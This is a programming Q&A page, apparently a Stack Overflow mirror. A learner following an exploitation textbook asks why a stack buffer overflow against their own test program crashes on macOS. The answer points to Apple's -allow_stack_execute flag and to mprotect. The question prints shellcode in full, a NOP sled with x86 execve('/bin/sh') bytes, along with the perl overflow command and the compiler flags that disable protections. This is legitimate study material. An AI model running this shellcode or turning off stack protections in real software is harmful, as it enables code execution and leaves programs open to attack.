Search code examples
cmacossecuritygccshellcode

How can you make the stack executable on osx?


I'm currently going through "Hacking; the Art of Exploitation", and am practicing writing shell code injections on some example code I wrote up.

I'm injecting shell code as an environment variable. In lldb I can see that I am overwriting the return address, and that the EIP is being set to the middle of my NOP sled. However, it then throws "EXC_BAD_ACCESS" and segfaults.

Here's the part of the stack with my shellcode:

0xbffffbd8: "SHELL=/bin/sh"
0xbffffbe6: "SHELLCODE=\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff901\xffffffc01\xffffffdb1\xffffffc9\xffffff99\xffffffb0\xffffffa4\xffffffcd\xffffff80j\vXQh//shh/bin\xffffff89\xffffffe3Q\xffffff89\xffffffe2S\xffffff89\xffffffe1\xffffffcd\xffffff80"
0xbffffcdc: "SHLVL=4"

Calling lldb ./notesearch $(perl -e 'print "\x5e\xfc\xff\xbf"x40') to perform the buffer overflow, here's what we get when it segfaults:

Process 21713 stopped
* thread #1: tid = 0xa33bc3, 0xbffffc5e, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0xbffffc5e)
    frame #0: 0xbffffc5e
->  0xbffffc5e: nop    
    0xbffffc5f: nop    
    0xbffffc60: nop    
    0xbffffc61: nop    

I'm using gcc -g -O0 -fno-stack-protector -D_FORTIFY_SOURCE=0 -fomit-frame-pointer to compile the code, and I'm using change_mach_o_flags.py script with the --no-pie and --executable-heap options set.

I think the problem is that osx automatically sets the stack to being non-executable. Unfortunately, there doesn't appear to be a -z execstack option for gcc in osx. There's also no execstack utility to use.

I've scoured the web and can't find anyway to make the stack executable in my compiled code. Is there a way to do this, and if so, how?


Solution

  • From the Apple developer documentation:

    There are two ways to make the stack and heap executable:

    Pass the -allow_stack_execute flag to the compiler. This makes the stack (not the heap) executable.

    Use the mprotect system call to mark specific memory pages as executable. The details are beyond the scope of this document. For more information, see the manual page for mprotect.

    See more: https://developer.apple.com/library/content/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html